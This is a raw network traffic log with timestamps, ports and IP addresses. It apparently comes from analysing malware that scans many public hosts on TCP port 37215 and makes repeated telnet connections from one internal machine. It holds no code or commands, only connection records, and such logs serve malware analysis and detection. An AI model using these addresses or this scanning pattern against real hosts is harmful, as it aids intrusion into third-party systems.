Aug 17, 2024 01:01:54.666520119 CEST	37215	24911	197.142.185.236	192.168.2.13
Aug 17, 2024 01:01:54.666526079 CEST	37215	24911	197.191.194.133	192.168.2.13
Aug 17, 2024 01:01:54.666532040 CEST	24911	37215	192.168.2.13	41.123.168.29
Aug 17, 2024 01:01:54.666542053 CEST	24911	37215	192.168.2.13	197.200.76.67
Aug 17, 2024 01:01:54.666549921 CEST	37215	24911	197.84.19.207	192.168.2.13
Aug 17, 2024 01:01:54.666553020 CEST	24911	37215	192.168.2.13	197.191.194.133
Aug 17, 2024 01:01:54.666555882 CEST	37215	24911	41.14.114.96	192.168.2.13
Aug 17, 2024 01:01:54.666555882 CEST	24911	37215	192.168.2.13	197.142.185.236
Aug 17, 2024 01:01:54.666573048 CEST	37215	24911	41.35.73.137	192.168.2.13
Aug 17, 2024 01:01:54.666589022 CEST	24911	37215	192.168.2.13	41.14.114.96
Aug 17, 2024 01:01:54.666589022 CEST	24911	37215	192.168.2.13	197.84.19.207
Aug 17, 2024 01:01:54.666613102 CEST	24911	37215	192.168.2.13	41.35.73.137
Aug 17, 2024 01:01:54.666619062 CEST	37215	24911	156.185.118.87	192.168.2.13
Aug 17, 2024 01:01:54.666632891 CEST	37215	24911	156.160.218.217	192.168.2.13
Aug 17, 2024 01:01:54.666637897 CEST	37215	24911	156.99.113.69	192.168.2.13
Aug 17, 2024 01:01:54.666649103 CEST	24911	37215	192.168.2.13	156.185.118.87
Aug 17, 2024 01:01:54.666650057 CEST	37215	24911	41.249.203.86	192.168.2.13
Aug 17, 2024 01:01:54.666656017 CEST	37215	24911	156.143.119.155	192.168.2.13
Aug 17, 2024 01:01:54.666667938 CEST	24911	37215	192.168.2.13	156.99.113.69
Aug 17, 2024 01:01:54.666667938 CEST	24911	37215	192.168.2.13	156.160.218.217
Aug 17, 2024 01:01:54.666687012 CEST	24911	37215	192.168.2.13	41.249.203.86
Aug 17, 2024 01:01:54.666691065 CEST	24911	37215	192.168.2.13	156.143.119.155
Aug 17, 2024 01:01:54.666735888 CEST	37215	24911	197.252.187.59	192.168.2.13
Aug 17, 2024 01:01:54.666742086 CEST	37215	24911	41.117.138.236	192.168.2.13
Aug 17, 2024 01:01:54.666754007 CEST	37215	24911	156.70.191.194	192.168.2.13
Aug 17, 2024 01:01:54.666759014 CEST	37215	24911	156.249.16.5	192.168.2.13
Aug 17, 2024 01:01:54.666770935 CEST	37215	24911	197.143.210.144	192.168.2.13
Aug 17, 2024 01:01:54.666774988 CEST	24911	37215	192.168.2.13	197.252.187.59
Aug 17, 2024 01:01:54.666776896 CEST	37215	24911	41.53.239.128	192.168.2.13
Aug 17, 2024 01:01:54.666779995 CEST	24911	37215	192.168.2.13	41.117.138.236
Aug 17, 2024 01:01:54.666788101 CEST	37215	24911	41.154.73.97	192.168.2.13
Aug 17, 2024 01:01:54.666793108 CEST	37215	24911	41.192.53.190	192.168.2.13
Aug 17, 2024 01:01:54.666794062 CEST	24911	37215	192.168.2.13	156.249.16.5
Aug 17, 2024 01:01:54.666800022 CEST	24911	37215	192.168.2.13	197.143.210.144
Aug 17, 2024 01:01:54.666804075 CEST	37215	24911	41.143.20.185	192.168.2.13
Aug 17, 2024 01:01:54.666805029 CEST	24911	37215	192.168.2.13	41.53.239.128
Aug 17, 2024 01:01:54.666817904 CEST	24911	37215	192.168.2.13	41.154.73.97
Aug 17, 2024 01:01:54.666820049 CEST	37215	24911	197.72.50.194	192.168.2.13
Aug 17, 2024 01:01:54.666821957 CEST	24911	37215	192.168.2.13	41.192.53.190
Aug 17, 2024 01:01:54.666827917 CEST	24911	37215	192.168.2.13	41.143.20.185
Aug 17, 2024 01:01:54.666832924 CEST	37215	24911	156.85.35.155	192.168.2.13
Aug 17, 2024 01:01:54.666847944 CEST	24911	37215	192.168.2.13	197.72.50.194
Aug 17, 2024 01:01:54.666852951 CEST	37215	24911	156.204.85.102	192.168.2.13
Aug 17, 2024 01:01:54.666855097 CEST	24911	37215	192.168.2.13	156.70.191.194
Aug 17, 2024 01:01:54.666857958 CEST	37215	24911	197.114.193.226	192.168.2.13
Aug 17, 2024 01:01:54.666863918 CEST	37215	24911	197.142.140.157	192.168.2.13
Aug 17, 2024 01:01:54.666878939 CEST	24911	37215	192.168.2.13	156.85.35.155
Aug 17, 2024 01:01:54.666884899 CEST	37215	24911	197.14.227.251	192.168.2.13
Aug 17, 2024 01:01:54.666886091 CEST	24911	37215	192.168.2.13	156.204.85.102
Aug 17, 2024 01:01:54.666893005 CEST	37215	24911	156.133.105.11	192.168.2.13
Aug 17, 2024 01:01:54.666897058 CEST	24911	37215	192.168.2.13	197.114.193.226
Aug 17, 2024 01:01:54.666898012 CEST	37215	24911	41.63.130.26	192.168.2.13
Aug 17, 2024 01:01:54.666903973 CEST	37215	24911	156.54.127.17	192.168.2.13
Aug 17, 2024 01:01:54.666913986 CEST	37215	24911	41.180.233.151	192.168.2.13
Aug 17, 2024 01:01:54.666919947 CEST	24911	37215	192.168.2.13	197.14.227.251
Aug 17, 2024 01:01:54.666929007 CEST	37215	24911	156.174.139.213	192.168.2.13
Aug 17, 2024 01:01:54.666932106 CEST	24911	37215	192.168.2.13	197.142.140.157
Aug 17, 2024 01:01:54.666934013 CEST	24911	37215	192.168.2.13	41.63.130.26
Aug 17, 2024 01:01:54.666935921 CEST	24911	37215	192.168.2.13	156.133.105.11
Aug 17, 2024 01:01:54.666946888 CEST	24911	37215	192.168.2.13	41.180.233.151
Aug 17, 2024 01:01:54.666955948 CEST	37215	24911	156.152.194.18	192.168.2.13
Aug 17, 2024 01:01:54.666971922 CEST	24911	37215	192.168.2.13	156.54.127.17
Aug 17, 2024 01:01:54.666979074 CEST	37215	24911	156.43.50.51	192.168.2.13
Aug 17, 2024 01:01:54.666991949 CEST	24911	37215	192.168.2.13	156.152.194.18
Aug 17, 2024 01:01:54.667004108 CEST	37215	24911	197.211.198.193	192.168.2.13
Aug 17, 2024 01:01:54.667011023 CEST	37215	24911	156.219.192.207	192.168.2.13
Aug 17, 2024 01:01:54.667016029 CEST	24911	37215	192.168.2.13	156.174.139.213
Aug 17, 2024 01:01:54.667016029 CEST	24911	37215	192.168.2.13	156.43.50.51
Aug 17, 2024 01:01:54.667020082 CEST	37215	24911	197.93.139.123	192.168.2.13
Aug 17, 2024 01:01:54.667025089 CEST	37215	24911	41.145.79.148	192.168.2.13
Aug 17, 2024 01:01:54.667035103 CEST	24911	37215	192.168.2.13	197.211.198.193
Aug 17, 2024 01:01:54.667036057 CEST	37215	24911	41.218.225.101	192.168.2.13
Aug 17, 2024 01:01:54.667053938 CEST	24911	37215	192.168.2.13	156.219.192.207
Aug 17, 2024 01:01:54.667062044 CEST	24911	37215	192.168.2.13	197.93.139.123
Aug 17, 2024 01:01:54.667062044 CEST	24911	37215	192.168.2.13	41.145.79.148
Aug 17, 2024 01:01:54.667073011 CEST	24911	37215	192.168.2.13	41.218.225.101
Aug 17, 2024 01:01:54.667076111 CEST	37215	24911	41.206.156.212	192.168.2.13
Aug 17, 2024 01:01:54.667092085 CEST	37215	24911	156.49.33.116	192.168.2.13
Aug 17, 2024 01:01:54.667098045 CEST	37215	24911	41.57.120.211	192.168.2.13
Aug 17, 2024 01:01:54.667109966 CEST	37215	24911	41.187.191.190	192.168.2.13
Aug 17, 2024 01:01:54.667121887 CEST	24911	37215	192.168.2.13	41.206.156.212
Aug 17, 2024 01:01:54.667123079 CEST	24911	37215	192.168.2.13	156.49.33.116
Aug 17, 2024 01:01:54.667136908 CEST	24911	37215	192.168.2.13	41.57.120.211
Aug 17, 2024 01:01:54.667146921 CEST	37215	24911	197.39.186.46	192.168.2.13
Aug 17, 2024 01:01:54.667150974 CEST	24911	37215	192.168.2.13	41.187.191.190
Aug 17, 2024 01:01:54.667180061 CEST	24911	37215	192.168.2.13	197.39.186.46
Aug 17, 2024 01:01:54.667191982 CEST	37215	24911	156.197.100.82	192.168.2.13
Aug 17, 2024 01:01:54.667211056 CEST	37215	24911	156.22.145.214	192.168.2.13
Aug 17, 2024 01:01:54.667216063 CEST	37215	24911	41.245.139.128	192.168.2.13
Aug 17, 2024 01:01:54.667227983 CEST	37215	24911	156.240.55.126	192.168.2.13
Aug 17, 2024 01:01:54.667234898 CEST	24911	37215	192.168.2.13	156.197.100.82
Aug 17, 2024 01:01:54.667244911 CEST	24911	37215	192.168.2.13	156.22.145.214
Aug 17, 2024 01:01:54.667253971 CEST	24911	37215	192.168.2.13	41.245.139.128
Aug 17, 2024 01:01:54.667278051 CEST	24911	37215	192.168.2.13	156.240.55.126
Aug 17, 2024 01:01:54.667279959 CEST	37215	24911	156.114.228.71	192.168.2.13
Aug 17, 2024 01:01:54.667300940 CEST	37215	24911	41.233.154.103	192.168.2.13
Aug 17, 2024 01:01:54.667311907 CEST	37215	24911	197.127.245.17	192.168.2.13
Aug 17, 2024 01:01:54.667314053 CEST	24911	37215	192.168.2.13	156.114.228.71
Aug 17, 2024 01:01:54.667324066 CEST	37215	24911	41.21.186.73	192.168.2.13
Aug 17, 2024 01:01:54.667325974 CEST	24911	37215	192.168.2.13	41.233.154.103
Aug 17, 2024 01:01:54.667329073 CEST	37215	24911	41.139.87.32	192.168.2.13
Aug 17, 2024 01:01:54.667356968 CEST	37215	24911	41.187.158.95	192.168.2.13
Aug 17, 2024 01:01:54.667357922 CEST	24911	37215	192.168.2.13	41.21.186.73
Aug 17, 2024 01:01:54.667371988 CEST	24911	37215	192.168.2.13	197.127.245.17
Aug 17, 2024 01:01:54.667373896 CEST	24911	37215	192.168.2.13	41.139.87.32
Aug 17, 2024 01:01:54.667396069 CEST	37215	24911	156.228.253.46	192.168.2.13
Aug 17, 2024 01:01:54.667398930 CEST	24911	37215	192.168.2.13	41.187.158.95
Aug 17, 2024 01:01:54.667401075 CEST	37215	24911	41.22.49.148	192.168.2.13
Aug 17, 2024 01:01:54.667413950 CEST	37215	24911	156.59.154.218	192.168.2.13
Aug 17, 2024 01:01:54.667423964 CEST	37215	24911	41.239.64.159	192.168.2.13
Aug 17, 2024 01:01:54.667426109 CEST	24911	37215	192.168.2.13	156.228.253.46
Aug 17, 2024 01:01:54.667435884 CEST	24911	37215	192.168.2.13	41.22.49.148
Aug 17, 2024 01:01:54.667442083 CEST	24911	37215	192.168.2.13	156.59.154.218
Aug 17, 2024 01:01:54.667460918 CEST	24911	37215	192.168.2.13	41.239.64.159
Aug 17, 2024 01:01:54.667464972 CEST	37215	24911	197.11.167.14	192.168.2.13
Aug 17, 2024 01:01:54.667500973 CEST	24911	37215	192.168.2.13	197.11.167.14
Aug 17, 2024 01:01:54.667681932 CEST	37215	24911	197.155.235.191	192.168.2.13
Aug 17, 2024 01:01:54.667702913 CEST	37215	24911	41.174.166.54	192.168.2.13
Aug 17, 2024 01:01:54.667709112 CEST	37215	24911	156.106.130.112	192.168.2.13
Aug 17, 2024 01:01:54.667722940 CEST	24911	37215	192.168.2.13	197.155.235.191
Aug 17, 2024 01:01:54.667726994 CEST	37215	24911	197.190.42.116	192.168.2.13
Aug 17, 2024 01:01:54.667738914 CEST	24911	37215	192.168.2.13	41.174.166.54
Aug 17, 2024 01:01:54.667740107 CEST	24911	37215	192.168.2.13	156.106.130.112
Aug 17, 2024 01:01:54.667743921 CEST	37215	24911	197.169.219.238	192.168.2.13
Aug 17, 2024 01:01:54.667754889 CEST	37215	24911	156.218.223.38	192.168.2.13
Aug 17, 2024 01:01:54.667758942 CEST	24911	37215	192.168.2.13	197.190.42.116
Aug 17, 2024 01:01:54.667761087 CEST	37215	24911	197.49.183.186	192.168.2.13
Aug 17, 2024 01:01:54.667776108 CEST	24911	37215	192.168.2.13	197.169.219.238
Aug 17, 2024 01:01:54.667777061 CEST	37215	24911	197.41.23.2	192.168.2.13
Aug 17, 2024 01:01:54.667783022 CEST	37215	24911	156.172.122.236	192.168.2.13
Aug 17, 2024 01:01:54.667788982 CEST	37215	24911	41.36.210.165	192.168.2.13
Aug 17, 2024 01:01:54.667798042 CEST	24911	37215	192.168.2.13	197.49.183.186
Aug 17, 2024 01:01:54.667807102 CEST	37215	24911	41.222.57.232	192.168.2.13
Aug 17, 2024 01:01:54.667808056 CEST	24911	37215	192.168.2.13	156.218.223.38
Aug 17, 2024 01:01:54.667815924 CEST	24911	37215	192.168.2.13	197.41.23.2
Aug 17, 2024 01:01:54.667817116 CEST	24911	37215	192.168.2.13	41.36.210.165
Aug 17, 2024 01:01:54.667817116 CEST	37215	24911	197.105.55.201	192.168.2.13
Aug 17, 2024 01:01:54.667820930 CEST	24911	37215	192.168.2.13	156.172.122.236
Aug 17, 2024 01:01:54.667838097 CEST	24911	37215	192.168.2.13	41.222.57.232
Aug 17, 2024 01:01:54.667845964 CEST	24911	37215	192.168.2.13	197.105.55.201
Aug 17, 2024 01:01:54.667848110 CEST	37215	24911	156.138.6.93	192.168.2.13
Aug 17, 2024 01:01:54.667877913 CEST	37215	24911	156.199.59.217	192.168.2.13
Aug 17, 2024 01:01:54.667882919 CEST	37215	24911	156.138.234.245	192.168.2.13
Aug 17, 2024 01:01:54.667889118 CEST	24911	37215	192.168.2.13	156.138.6.93
Aug 17, 2024 01:01:54.667895079 CEST	37215	24911	41.200.10.214	192.168.2.13
Aug 17, 2024 01:01:54.667912006 CEST	24911	37215	192.168.2.13	156.199.59.217
Aug 17, 2024 01:01:54.667915106 CEST	24911	37215	192.168.2.13	156.138.234.245
Aug 17, 2024 01:01:54.667918921 CEST	24911	37215	192.168.2.13	41.200.10.214
Aug 17, 2024 01:01:54.668097973 CEST	37215	24911	156.23.38.3	192.168.2.13
Aug 17, 2024 01:01:54.668121099 CEST	37215	24911	41.52.28.85	192.168.2.13
Aug 17, 2024 01:01:54.668126106 CEST	37215	24911	41.67.57.193	192.168.2.13
Aug 17, 2024 01:01:54.668131113 CEST	37215	24911	41.32.95.220	192.168.2.13
Aug 17, 2024 01:01:54.668133974 CEST	24911	37215	192.168.2.13	156.23.38.3
Aug 17, 2024 01:01:54.668143034 CEST	37215	24911	197.126.80.64	192.168.2.13
Aug 17, 2024 01:01:54.668149948 CEST	24911	37215	192.168.2.13	41.52.28.85
Aug 17, 2024 01:01:54.668153048 CEST	37215	24911	41.42.125.240	192.168.2.13
Aug 17, 2024 01:01:54.668164015 CEST	24911	37215	192.168.2.13	41.67.57.193
Aug 17, 2024 01:01:54.668167114 CEST	24911	37215	192.168.2.13	41.32.95.220
Aug 17, 2024 01:01:54.668169022 CEST	24911	37215	192.168.2.13	197.126.80.64
Aug 17, 2024 01:01:54.668184996 CEST	37215	24911	197.175.233.147	192.168.2.13
Aug 17, 2024 01:01:54.668190956 CEST	37215	24911	41.83.195.124	192.168.2.13
Aug 17, 2024 01:01:54.668200970 CEST	37215	24911	156.49.44.96	192.168.2.13
Aug 17, 2024 01:01:54.668205976 CEST	37215	24911	197.80.207.130	192.168.2.13
Aug 17, 2024 01:01:54.668210983 CEST	37215	24911	41.130.54.119	192.168.2.13
Aug 17, 2024 01:01:54.668217897 CEST	24911	37215	192.168.2.13	41.42.125.240
Aug 17, 2024 01:01:54.668217897 CEST	24911	37215	192.168.2.13	41.83.195.124
Aug 17, 2024 01:01:54.668220043 CEST	24911	37215	192.168.2.13	197.175.233.147
Aug 17, 2024 01:01:54.668226957 CEST	37215	24911	41.130.65.135	192.168.2.13
Aug 17, 2024 01:01:54.668231964 CEST	24911	37215	192.168.2.13	156.49.44.96
Aug 17, 2024 01:01:54.668232918 CEST	37215	24911	41.108.68.178	192.168.2.13
Aug 17, 2024 01:01:54.668252945 CEST	24911	37215	192.168.2.13	41.130.65.135
Aug 17, 2024 01:01:54.668262005 CEST	24911	37215	192.168.2.13	41.130.54.119
Aug 17, 2024 01:01:54.668268919 CEST	24911	37215	192.168.2.13	41.108.68.178
Aug 17, 2024 01:01:54.668270111 CEST	37215	24911	197.157.240.50	192.168.2.13
Aug 17, 2024 01:01:54.668277025 CEST	24911	37215	192.168.2.13	197.80.207.130
Aug 17, 2024 01:01:54.668308973 CEST	24911	37215	192.168.2.13	197.157.240.50
Aug 17, 2024 01:01:54.668378115 CEST	37215	24911	197.105.81.157	192.168.2.13
Aug 17, 2024 01:01:54.668401003 CEST	37215	24911	41.171.36.64	192.168.2.13
Aug 17, 2024 01:01:54.668405056 CEST	24911	37215	192.168.2.13	197.105.81.157
Aug 17, 2024 01:01:54.668406963 CEST	37215	24911	197.253.113.139	192.168.2.13
Aug 17, 2024 01:01:54.668428898 CEST	24911	37215	192.168.2.13	41.171.36.64
Aug 17, 2024 01:01:54.668433905 CEST	24911	37215	192.168.2.13	197.253.113.139
Aug 17, 2024 01:01:54.668463945 CEST	37215	24911	156.45.153.116	192.168.2.13
Aug 17, 2024 01:01:54.668474913 CEST	37215	24911	156.223.85.118	192.168.2.13
Aug 17, 2024 01:01:54.668499947 CEST	24911	37215	192.168.2.13	156.45.153.116
Aug 17, 2024 01:01:54.668524981 CEST	24911	37215	192.168.2.13	156.223.85.118
Aug 17, 2024 01:01:54.668571949 CEST	37215	24911	197.211.222.0	192.168.2.13
Aug 17, 2024 01:01:54.668612003 CEST	23	36252	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.668613911 CEST	24911	37215	192.168.2.13	197.211.222.0
Aug 17, 2024 01:01:54.668627977 CEST	23	36256	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.668670893 CEST	36256	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.673249006 CEST	23	46224	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.674113989 CEST	46224	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.674123049 CEST	46228	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.676547050 CEST	23	36256	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.676610947 CEST	36256	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.676620960 CEST	36260	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.679217100 CEST	23	46224	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.679223061 CEST	23	46228	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.679331064 CEST	46228	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.683549881 CEST	23	36256	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.683585882 CEST	23	36260	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.683633089 CEST	36260	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.684751034 CEST	23	46228	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.684868097 CEST	46228	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.684868097 CEST	46232	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.689800978 CEST	23	41804	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.689863920 CEST	41804	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.689883947 CEST	44748	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.692811012 CEST	23	46228	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.692816019 CEST	23	46232	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.692857981 CEST	46232	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.695214033 CEST	23	41804	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.695219040 CEST	23	44748	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.695291042 CEST	44748	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.699029922 CEST	23	46232	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.699088097 CEST	46232	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.699105024 CEST	46236	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.701550961 CEST	23	44748	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.701646090 CEST	44748	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.701777935 CEST	44752	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.704149008 CEST	23	46232	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.704153061 CEST	23	46236	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.704205990 CEST	46236	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.707040071 CEST	23	44748	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.707055092 CEST	23	44752	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.707103968 CEST	44752	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.710154057 CEST	23	46236	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.710206032 CEST	46236	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.710218906 CEST	46240	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.713287115 CEST	23	44752	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.713356972 CEST	44756	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.713372946 CEST	44752	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.716485023 CEST	23	46236	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.716608047 CEST	23	46240	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.716691971 CEST	46240	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.721363068 CEST	23	44756	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.721399069 CEST	23	44752	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.721421003 CEST	44756	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.730369091 CEST	23	46240	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.730464935 CEST	46240	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.730473042 CEST	46244	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.739027977 CEST	23	33780	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.739104986 CEST	33780	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.739106894 CEST	36596	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.743020058 CEST	23	46240	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.743025064 CEST	23	46244	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.743122101 CEST	46244	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.747313023 CEST	23	33780	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.747390032 CEST	23	36596	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.747435093 CEST	36596	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.767771959 CEST	23	44756	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.768027067 CEST	44756	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.768049955 CEST	44762	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.773490906 CEST	23	44756	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.773495913 CEST	23	44762	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.773639917 CEST	44762	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.810535908 CEST	23	46244	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.810903072 CEST	46244	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.810997009 CEST	46250	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.812467098 CEST	23	36596	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.812558889 CEST	36596	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.812576056 CEST	36602	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.817348957 CEST	23	44762	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.817411900 CEST	44768	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.817645073 CEST	44762	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.818289995 CEST	23	46244	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.818309069 CEST	23	46250	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.818533897 CEST	46250	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.819840908 CEST	23	36596	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.819856882 CEST	23	36602	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.819897890 CEST	36602	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.823689938 CEST	23	44768	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.823736906 CEST	44768	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.824582100 CEST	23	44762	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.826903105 CEST	23	46250	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.826982975 CEST	46250	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.826992035 CEST	46256	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.827472925 CEST	23	36602	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.827529907 CEST	36602	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.827537060 CEST	36608	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.830846071 CEST	23	44768	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.830923080 CEST	44768	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.830935955 CEST	44774	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.833040953 CEST	23	46250	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.833050966 CEST	23	46256	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.833070040 CEST	23	36602	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.833084106 CEST	23	36608	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.833106995 CEST	46256	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.833122015 CEST	36608	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.840409994 CEST	23	44768	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.840425968 CEST	23	44774	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.840478897 CEST	44774	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.841279030 CEST	23	46256	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.841283083 CEST	23	36608	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.841350079 CEST	46256	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.841350079 CEST	46256	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.841351032 CEST	36608	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.841367960 CEST	46262	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.841377974 CEST	36608	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.841377974 CEST	36614	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.847528934 CEST	23	44774	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.847616911 CEST	44774	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.847616911 CEST	44780	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.847811937 CEST	23	46256	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.847815990 CEST	23	46262	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.847824097 CEST	23	36608	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.847829103 CEST	23	36614	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.847857952 CEST	46262	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.847860098 CEST	36614	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.854192972 CEST	23	44774	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.854197025 CEST	23	44780	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.854248047 CEST	44780	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:54.854518890 CEST	23	46262	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.854571104 CEST	46262	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.854595900 CEST	46268	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.855192900 CEST	37215	34628	41.203.43.145	192.168.2.13
Aug 17, 2024 01:01:54.855197906 CEST	23	36614	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.855241060 CEST	34628	37215	192.168.2.13	41.203.43.145
Aug 17, 2024 01:01:54.855252981 CEST	36614	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.855269909 CEST	36620	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.861215115 CEST	23	46262	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.861233950 CEST	23	46268	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.861267090 CEST	46268	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.861716986 CEST	23	36614	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.861721992 CEST	23	36620	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:54.861757040 CEST	36620	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:54.862649918 CEST	23	44780	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:54.862718105 CEST	44780	23	192.168.2.13	171.120.97.23
